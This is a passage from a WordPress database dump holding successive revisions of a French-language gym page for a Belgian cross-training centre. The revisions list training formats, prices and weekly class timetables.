5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 14:07:38', '2013-06-23 14:07:38', '', 11, 'http://www.crosstrainingcenter.be/?p=154', 0, 'revision', '', 0),
(155, 1, '2013-07-03 15:41:06', '2013-07-03 15:41:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:41:06', '2013-07-03 15:41:06', '', 11, 'http://www.crosstrainingcenter.be/?p=155', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(156, 1, '2013-07-03 15:52:51', '2013-07-03 15:52:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;left|right|right|right|right|right\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:52:51', '2013-07-03 15:52:51', '', 11, 'http://www.crosstrainingcenter.be/?p=156', 0, 'revision', '', 0),
(157, 1, '2013-07-03 15:53:34', '2013-07-03 15:53:34', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 